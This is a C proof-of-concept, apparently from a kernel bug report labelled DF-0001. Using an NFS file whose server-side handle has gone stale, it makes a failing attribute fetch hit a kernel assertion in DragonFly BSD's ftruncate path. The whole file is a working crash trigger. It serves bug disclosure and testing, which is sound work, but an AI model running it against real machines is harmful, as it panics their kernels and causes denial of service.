DF-0001 / estale_trig.c
/* * DF-0001 trigger (ESTALE variant). Uses ftruncate(2) on an open fd whose * server-side filehandle has been invalidated (file deleted+recreated on the * server while we hold the fd). This forces VOP_GETATTR_FP to issue a fresh * RPC (attribute cache aged out) against a STALE filehandle, so the server * returns NFSERR_STALE and nfs_getattr() propagates ESTALE -- unlike a * dead-server transport failure, which the DragonFly client papers over with * cached/local attributes. With vfs_quota_enabled=1 + INVARIANTS, the * * KASSERT(error == 0, ("kern_ftruncate(): VOP_GETATTR didn't return 0")); * * at sys/kern/vfs_syscalls.c:4113 then fires -> kernel panic. * * Choreography (harness): * 1. (server UP) ./estale_trig /mnt/estale_target <- opens fd, prints READY, sleeps * 2. harness: on server, rm /export/estale_target; touch /export/estale_target * (invalidates the client fd's filehandle); wait for attr cache to age. * 3. process wakes, fstat() (diagnostic: expect ESTALE), ftruncate() (KASSERT). */ #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <sys/stat.h> #include <err.h> int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "/mnt/estale_target"; int fd; struct stat st; fd = open(path, O_RDWR); if (fd < 0) err(1, "open %s", path); printf("READY fd=%d path=%s -- invalidate server-side handle now\n", fd, path); fflush(stdout); /* harness invalidates handle here; then we age out the attr cache */ sleep(8); errno = 0; if (fstat(fd, &st) < 0) warn("DIAG fstat (VOP_GETATTR) returned error: errno"); else printf("DIAG fstat ok: size=%lld\n", (long long)st.st_size); fflush(stdout); errno = 0; if (ftruncate(fd, 0) < 0) warn("FTRUNCATE returned error (if GETATTR returned error this line is UNREACHED -- KASSERT panics first): errno"); else printf("FTRUNCATE returned 0\n"); fflush(stdout); close(fd); return 0; } |